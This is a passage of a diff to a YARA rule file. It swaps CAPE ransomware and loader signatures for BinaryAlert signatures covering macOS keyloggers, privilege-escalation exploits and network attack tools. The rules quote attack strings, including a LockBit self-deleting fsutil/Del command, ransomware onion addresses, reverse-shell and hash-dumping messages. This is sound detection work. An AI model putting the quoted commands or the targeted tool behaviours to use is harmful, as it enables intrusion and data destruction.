+		$a5 = "[-] Could not find the securityd process" wide ascii
+		$a6 = "[-] No root privileges, please run with sudo" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		4 of ($a*)
 }
-rule CAPE_Lockbit : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_Giacomolaw
 {
 	meta:
-		description = "Lockbit Payload"
-		author = "kevoreilly"
-		id = "ec9b4fec-0233-5277-b922-07057c2b4b34"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Lockbit.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "80ab705c8246a0bd5b3de65146cf32b102f39bf9444bdf1d366b5a794c1229b9"
+		description = "A simple keylogger for macOS."
+		author = "@mimeframe"
+		id = "81fcf792-a0a9-5b97-a71c-4c517a7b910c"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/GiacomoLaw/Keylogger"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_giacomolaw.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "45ca583c07b8593ed716306ae6f80eef1c3fc5652aed739454fa8007fae929b4"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Lockbit Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$string1 = "/C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" wide
-		$string2 = "Ransom" ascii wide
-		$crypto = {8B 4D 08 C1 E9 10 0F B6 D1 8B 4D 0C C1 E9 08 0F B6 C9 8B 14 95 [4] 8B 7D FC 33 14 8D [4] 8B CF C1 E9 18 33 14 8D [4] 0F B6 CB 33 14 8D [4] 8B CF 33 10}
-		$decode1 = {8A ?4 34 ?C 0? 00 00 8B 8? 24 ?8 0? 00 00 0F BE ?? 0F BE C? 33 ?? 88 ?? 34 ?? 0? 00 00 46 83 FE 0? 72 DD}
-		$decode2 = {8A 44 24 ?? 30 44 0C ?? 41 83 F9 ?? 72 F2}
+		$a1 = "ERROR: Unable to access keystroke log file. Please make sure you have the correct permissions." wide ascii
+		$a2 = "ERROR: Unable to create event tap." wide ascii
+		$a3 = "Keystrokes are now being recorded" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and (2 of them )
+		2 of ($a*)
 }
-rule CAPE_Fareit : FILE
+rule BINARYALERT_Hacktool_Macos_Exploit_Tpwn
 {
 	meta:
-		description = "Fareit Payload"
-		author = "kevoreilly"
-		id = "b3c4eb86-d104-5f31-afa4-5bf5f370f64e"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Fareit.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "ed35391ffc949219f380da3f22bc8397a7d5c742bd68e227c3becdebcab5cf83"
+		description = "tpwn exploits a null pointer dereference in XNU to escalate privileges to root."
+		author = "@mimeframe"
+		id = "b69c4e1c-554e-5553-9b21-6cdf33aff24e"
+		date = "2017-09-14"
+		modified = "2017-09-14"
+		reference = "https://www.rapid7.com/db/modules/exploit/osx/local/tpwn"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_exploit_tpwn.yara#L1-L14"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "f864d8c137746edd50526b1d3d95a7335f776cf1473d2d2ea28856dbc515dd9f"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Fareit Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$string1 = {0D 0A 09 09 0D 0A 0D 0A 09 20 20 20 3A 6B 74 6B 20 20 20 0D 0A 0D 0A 0D 0A 20 20 20 20 20 64 65 6C 20 20 20 20 09 20 25 31 20 20 0D 0A 09 69 66 20 20 09 09 20 65 78 69 73 74 20 09 20 20 20 25 31 20 20 09 20 20 67 6F 74 6F 20 09 0D 20 6B 74 6B 0D 0A 20 64 65 6C 20 09 20 20 25 30 20 00}
+		$a1 = "[-] Couldn't find a ROP gadget, aborting." wide ascii
+		$a2 = "leaked kaslr slide," wide ascii
+		$a3 = "didn't get root, but this system is vulnerable." wide ascii
+		$a4 = "Escalating privileges! -qwertyoruiop" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and any of ($string*)
+		2 of ($a*)
 }
-rule CAPE_Petrwrap : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_Dannvix
 {
 	meta:
-		description = "PetrWrap Payload"
-		author = "kevoreilly"
-		id = "83762c87-6e96-50fe-b297-e1a5f893be43"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/PetrWrap.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "6dd1cf5639b63d0ab41b24080dad68d285f2e3969ad34fd724c83e7a0dd4b968"
+		description = "A simple keylogger for macOS."
+		author = "@mimeframe"
+		id = "598d6dbc-540d-5f96-8bd1-c15e6194012e"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/dannvix/keylogger-osx"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_dannvix.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "95d0540b1308caf3e7287c70a759954650220192800c0154d225bcb01ed55766"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "PetrWrap Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "http://petya3jxfp2f7g3i.onion/"
-		$a2 = "http://petya3sen7dyko2n.onion"
-		$b1 = "http://mischapuk6hyrn72.onion/"
-		$b2 = "http://mischa5xyix2mrhd.onion/"
+		$a1 = "/var/log/keystroke.log" wide ascii
+		$a2 = "<forward-delete>" wide ascii
+		$a3 = "<unknown>" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( any of ($a*)) and ( any of ($b*))
+		all of ($a*)
 }
-rule CAPE_Hancitor : FILE
+rule BINARYALERT_Hacktool_Macos_Macpmem
 {
 	meta:
-		description = "Hancitor Payload"
-		author = "threathive"
-		id = "b4e9a26a-db00-5553-acc2-f35148b0ffd5"
-		date = "2020-10-20"
-		modified = "2020-10-20"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Hancitor.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "84003542a2f587b5fbd43731c4240759806f8ee46df2bd96aae4a3c09d97e41c"
+		description = "MacPmem enables read/write access to physical memory on macOS. Can be used by CSIRT teams and attackers."
+		author = "@mimeframe"
+		id = "4890598e-936c-5a4d-9004-88ff4fe57c49"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/google/rekall/tree/master/tools/osx/MacPmem"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_macpmem.yara#L3-L22"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "d64b5a5423932211e3b72d949028f3f0ed1f1435e9584cffa947f2bd4846c29b"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Hancitor Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$fmt_string = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)"
-		$fmt_string2 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d(x32)"
-		$ipfy = "http://api.ipify.org"
-		$user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
+		$a1 = "%s/MacPmem.kext" wide ascii
+		$a2 = "The Pmem physical memory imager." wide ascii
+		$a3 = "The OSXPmem memory imager." wide ascii
+		$a4 = "These AFF4 Volumes will be loaded and their metadata will be parsed before the program runs." wide ascii
+		$a5 = "Pmem driver version incompatible. Reported" wide ascii
+		$a6 = "Memory access driver left loaded since you specified the -l flag." wide ascii
+		$b1 = "Unloading MacPmem" wide ascii
+		$b2 = "MacPmem load tag is" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		BINARYALERT_Macho_PRIVATE and 2 of ($a*) or all of ($b*)
 }
-rule CAPE_Locky : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_Logkext
 {
 	meta:
-		description = "Locky Payload"
-		author = "kevoreilly"
-		id = "664d0365-af49-5222-a4ed-9260332f6940"
-		date = "2022-06-09"
-		modified = "2022-06-09"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Locky.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "9786c54a2644d9581fefe64be11b26e22806398e54e961fa4f19d26eae039cd7"
+		description = "LogKext is an open source keylogger for Mac OS X, a product of FSB software."
+		author = "@mimeframe"
+		id = "2e4ad9d0-5780-5a28-a76d-baac401b0648"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/SlEePlEs5/logKext"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_logkext.yara#L1-L25"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "f0e3a7ea8ec4568c319e44f00d71fb368948b6fe08bdf86de4b33f0d2bafbb44"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Locky Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$string1 = "wallet.dat" wide
-		$string2 = "Locky_recover" wide
-		$string3 = "opt321" wide
+		$a1 = "logKextPassKey" wide ascii
+		$a2 = "Couldn't get system keychain:" wide ascii
+		$a3 = "Error finding secret in keychain" wide ascii
+		$a4 = "com_fsb_iokit_logKext" wide ascii
+		$b1 = "logKext Password:" wide ascii
+		$b2 = "Logging controls whether the daemon is logging keystrokes (default is on)." wide ascii
+		$c1 = "logKextPassKey" wide ascii
+		$c2 = "Error: couldn't create secAccess" wide ascii
+		$d1 = "IOHIKeyboard" wide ascii
+		$d2 = "Clear keyboards called with kextkeys" wide ascii
+		$d3 = "Added notification for keyboard" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		3 of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
 }
-rule CAPE_Magniber : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_Roxlu_Ofxkeylogger
 {
 	meta:
-		description = "Magniber Payload"
-		author = "kevoreilly"
-		id = "a704914f-2aa2-537d-975d-f8c23427951f"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Magniber.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "1875754bdf98c1886f31f6c6e29992a98180f74d8fa168ae391e2c660d760618"
+		description = "ofxKeylogger keylogger."
+		author = "@mimeframe"
+		id = "c0e00b76-9623-5709-b64b-0afe006eba60"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/roxlu/ofxKeylogger"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_roxlu_ofxkeylogger.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "6e2579a10327cc8f1799848b3bcbcd95733a31098faeb849df6ebf99f1ffe808"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Magniber Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = {8B 55 FC 83 C2 01 89 55 FC 8B 45 FC 3B 45 08 7D 45 6A 01 6A 00 E8 26 FF FF FF 83 C4 08 89 45 F4 83 7D F4 00 75 18 6A 7A 6A 61 E8 11 FF FF FF 83 C4 08 8B 4D FC 8B 55 F8 66 89 04 4A EB 16}
+		$a1 = "keylogger_init" wide ascii
+		$a2 = "install_keylogger_hook function not found in dll." wide ascii
+		$a3 = "keylogger_set_callback" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		all of ($a*)
 }
-rule CAPE_Buerloader : FILE
+rule BINARYALERT_Hacktool_Macos_Keylogger_Caseyscarborough
 {
 	meta:
-		description = "No description has been set in the source file - CAPE"
-		author = "kevoreilly & Rony (@r0ny_123)"
-		id = "95a9b4d7-db1e-50cd-bc08-01e4e4fd6dc4"
-		date = "2022-05-31"
-		modified = "2022-05-31"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/BuerLoader.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "05c1f008f0a2bb8232867977fb23a5ae8312f10f0637c6265561052596319c29"
+		description = "A simple and easy to use keylogger for macOS."
+		author = "@mimeframe"
+		id = "82d9ff7e-b475-5888-82e1-f65c286a9cde"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/caseyscarborough/keylogger"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_keylogger_caseyscarborough.yara#L1-L14"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "d97fbfefe027a26ec998743b811734e62423e8a5ba4e11d516dcfc9e4831d296"
+		score = 75
+		quality = 80
+		tags = ""
+
+	strings:
+		$a1 = "/var/log/keystroke.log" wide ascii
+		$a2 = "ERROR: Unable to create event tap." wide ascii
+		$a3 = "Keylogging has begun." wide ascii
+		$a4 = "ERROR: Unable to open log file. Ensure that you have the proper permissions." wide ascii
+
+	condition:
+		2 of ($a*)
+}
+rule BINARYALERT_Hacktool_Macos_N0Fate_Chainbreaker
+{
+	meta:
+		description = "chainbreaker can extract user credential in a Keychain file with Master Key or user password in forensically sound manner."
+		author = "@mimeframe"
+		id = "565d31c6-8d80-534d-8acc-c01d7af4f8b3"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/n0fate/chainbreaker"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/macos/hacktool_macos_n0fate_chainbreaker.yara#L1-L13"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "7aedf952756ed2375ff171329179f14a8cdc37ada69e1f003def1f1de5bc1691"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "BuerLoader Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$trap = {0F 31 89 45 ?? 6A 00 8D 45 ?? 8B CB 50 E8 [4] 0F 31}
-		$decode = {8A 0E 84 C9 74 0E 8B D0 2A 0F 46 88 0A 42 8A 0E 84 C9 75 F4 5F 5E 5D C2 04 00}
-		$op = {33 C0 85 D2 7E 1? 3B C7 7D [0-15] 40 3B C2 7C ?? EB 02}
+		$a1 = "[!] Private Key Table is not available" wide ascii
+		$a2 = "[!] Public Key Table is not available" wide ascii
+		$a3 = "[-] Decrypted Private Key" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		all of ($a*)
 }
-rule CAPE_Nanolocker : FILE
+rule BINARYALERT_Hacktool_Multi_Pyrasite_Py
 {
 	meta:
-		description = "NanoLocker Payload"
-		author = "kevoreilly"
-		id = "6fff6a27-a153-5461-9a75-2253c2f7d408"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/NanoLocker.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "fe6c8a4e259c3c526f8f50771251f6762b2b92a4df2e8bfc705f282489f757db"
+		description = "A tool for injecting arbitrary code into running Python processes."
+		author = "@fusionrace"
+		id = "0acd0044-a41c-5e9e-bb94-301cd704cf9d"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/lmacken/pyrasite"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_pyrasite_py.yara#L1-L24"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "7f3f3df5bd5c1bee2d85ff97878ad36223ab743926a5f8f1c079b039f724abc9"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "NanoLocker Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$a1 = "NanoLocker"
-		$a2 = "$humanDeadline"
-		$a3 = "Decryptor.lnk"
+		$s1 = "WARNING: ptrace is disabled. Injection will not work." fullword ascii wide
+		$s2 = "A payload that connects to a given host:port and receives commands" fullword ascii wide
+		$s3 = "A reverse Python connection payload." fullword ascii wide
+		$s4 = "pyrasite - inject code into a running python process" fullword ascii wide
+		$s5 = "The ID of the process to inject code into" fullword ascii wide
+		$s6 = "This file is part of pyrasite." fullword ascii wide
+		$s7 = "https://github.com/lmacken/pyrasite" fullword ascii wide
+		$s8 = "Setup a communication socket with the process by injecting" fullword ascii wide
+		$s9 = "a reverse subshell and having it connect back to us." fullword ascii wide
+		$s10 = "Write out a reverse python connection payload with a custom port" fullword ascii wide
+		$s11 = "Wait for the injected payload to connect back to us" fullword ascii wide
+		$s12 = "PyrasiteIPC" fullword ascii wide
+		$s13 = "A reverse Python shell that behaves like Python interactive interpreter." fullword ascii wide
+		$s14 = "pyrasite cannot establish reverse" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($a*))
+		any of them
 }
-rule CAPE_Cargobayloader : FILE
+rule BINARYALERT_Hacktool_Multi_Bloodhound_Owned
 {
 	meta:
-		description = "CargoBay Loader"
-		author = "kevoreilly"
-		id = "5b347863-0bea-55d2-aaf3-b3d6e604be89"
-		date = "2023-02-20"
-		modified = "2023-02-20"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/CargoBayLoader.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "75e975031371741498c5ba310882258c23b39310bd258239277708382bdbee9c"
-		logic_hash = "1d5c4ca79f97e1fac358189a8c6530be12506974fc2fb42f63b0b621536a45c9"
+		description = "Bloodhound: Custom queries to document a compromise, find collateral spread of owned nodes, and visualize deltas in privilege gains"
+		author = "@fusionrace"
+		id = "4d458339-6589-5094-8c23-1ad2baee19f1"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/porterhau5/BloodHound-Owned/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_bloodhound_owned.yara#L1-L20"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "01ef15a3cd606c46dacb0f22477fe97f94e212a38af1cd5bdd7eb11efe8144dd"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "CargoBay Loader"
+		quality = 80
+		tags = ""
 
 	strings:
-		$jmp1 = {40 42 0F 00 0F 82 [2] 00 00 48 8D 15 [4] BF 04 00 00 00 41 B8 04 00 00 00 4C 8D [3] 4C 89 F1 E8}
-		$jmp2 = {84 DB 0F 85 [2] 00 00 48 8D 15 [4] 41 BE 03 00 00 00 41 B8 03 00 00 00 4C 8D 7C [2] 4C 89 F9 E8}
+		$s1 = "Find all owned Domain Admins" fullword ascii wide
+		$s2 = "Find Shortest Path from owned node to Domain Admins" fullword ascii wide
+		$s3 = "List all directly owned nodes" fullword ascii wide
+		$s4 = "Set owned and wave properties for a node" fullword ascii wide
+		$s5 = "Find spread of compromise for owned nodes in wave" fullword ascii wide
+		$s6 = "Show clusters of password reuse" fullword ascii wide
+		$s7 = "Something went wrong when creating SharesPasswordWith relationship" fullword ascii wide
+		$s8 = "reference doc of custom Cypher queries for BloodHound" fullword ascii wide
+		$s9 = "Created SharesPasswordWith relationship between" fullword ascii wide
+		$s10 = "Skipping finding spread of compromise due to" fullword ascii wide
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		any of them
 }
-rule CAPE_Cobaltstrikestager
+rule BINARYALERT_Hacktool_Multi_Masscan
 {
 	meta:
-		description = "Cobalt Strike Stager Payload"
-		author = "@dan__mayer <daniel@stairwell.com>"
-		id = "eedf71b1-9f27-5a6f-afe8-3ddae47f9a06"
-		date = "2023-01-18"
-		modified = "2023-01-18"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/CobaltStrikeStager.yar#L1-L15"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "6a55b0c3ab5f557dfb7a3f8bd616ede1bd9b93198590fc9d52aa19c1154388c5"
+		description = "masscan is a performant port scanner, it produces results similar to nmap"
+		author = "@mimeframe"
+		id = "adb2bb07-2a1a-5eb5-8049-b3f8e6cba48a"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/robertdavidgraham/masscan"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_masscan.yara#L1-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "b35e481f73b1c1722056157f8348e2e06bb109c094b948fc6be2d9a7df070a7f"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "CobaltStrikeStager Payload"
 
 	strings:
-		$smb = { 68 00 B0 04 00 68 00 B0 04 00 6A 01 6A 06 6A 03 52 68 45 70 DF D4 }
-		$http_x86 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
-		$http_x64 = { 49 BE 77 69 6E 69 6E 65 74 00 41 56 49 89 E6 4C 89 F1 41 BA 4C 77 26 07 }
-		$dns = { 68 00 10 00 00 68 FF FF 07 00 6A 00 68 58 A4 53 E5 }
+		$a1 = "EHLO masscan" fullword wide ascii
+		$a2 = "User-Agent: masscan/" wide ascii
+		$a3 = "/etc/masscan/masscan.conf" fullword wide ascii
+		$b1 = "nmap(%s): unsupported. This code will never do DNS lookups." wide ascii
+		$b2 = "nmap(%s): unsupported, we do timing WAY different than nmap" wide ascii
+		$b3 = "[hint] I've got some local priv escalation 0days that might work" wide ascii
+		$b4 = "[hint] VMware on Macintosh doesn't support masscan" wide ascii
 
 	condition:
-		any of them
+		all of ($a*) or any of ($b*)
 }
-rule CAPE_Nemty : FILE
+rule BINARYALERT_Hacktool_Multi_Ntlmrelayx
 {
 	meta:
-		description = "Nemty Ransomware Payload"
-		author = "kevoreilly"
-		id = "3aa8e1d7-f9cb-5b04-923d-7bed15ab8c3f"
-		date = "2020-04-03"
-		modified = "2020-04-03"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Nemty.yar#L1-L13"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "a05974b561c67b4f1e0812639b74831edcf65686a06c0d380f0b45739e342419"
+		description = "No description has been set in the source file - BinaryAlert"
+		author = "@mimeframe"
+		id = "7e0bc28f-9cb7-5c09-aedc-d95af23454aa"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_ntlmrelayx.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "0d5d2d38866eb243e1803c456944e887d9d3920c54b15fd658bf90831fd87bfa"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Nemty Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$tordir = "TorDir"
-		$decrypt = "DECRYPT.txt"
-		$nemty = "NEMTY"
+		$a1 = "Started interactive SMB client shell via TCP" wide ascii
+		$a2 = "Service Installed.. CONNECT!" wide ascii
+		$a3 = "Done dumping SAM hashes for host:" wide ascii
+		$a4 = "DA already added. Refusing to add another" wide ascii
+		$a5 = "Domain info dumped into lootdir!" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and all of them
+		any of ($a*)
 }
-rule CAPE_Ryuk : FILE
+rule BINARYALERT_Hacktool_Multi_Responder_Py
 {
 	meta:
-		description = "Ryuk Payload"
-		author = "kevoreilly"
-		id = "594bbb8d-1f85-5a01-a864-ac2d95c45bf9"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Ryuk.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "b4463993d8956e402b927a3dcfa2ca9693a959908187f720372f2d3a40e6db0c"
+		description = "Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server"
+		author = "@fusionrace"
+		id = "82699a67-8ba1-5535-9183-3c857e60134c"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "http://www.c0d3xpl0it.com/2017/02/compromising-domain-admin-in-internal-pentest.html"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/multi/hacktool_multi_responder_py.yara#L1-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "a99a806b7c578af1f2163583f957db13fa7269c7426666189d85bec2ac87ad4b"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Ryuk Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$ext = ".RYK" wide
-		$readme = "RyukReadMe.txt" wide
-		$main = "InvokeMainViaCRT"
-		$code = {48 8B 4D 10 48 8B 03 48 C1 E8 07 C1 E0 04 F7 D0 33 41 08 83 E0 10 31 41 08 48 8B 4D 10 48 8B 03 48 C1 E8 09 C1 E0 03 F7 D0 33 41 08 83 E0 08 31 41 08}
+		$s1 = "Poison all requests with another IP address than Responder's one." fullword ascii wide
+		$s2 = "Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned." fullword ascii wide
+		$s3 = "Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network." fullword ascii wide
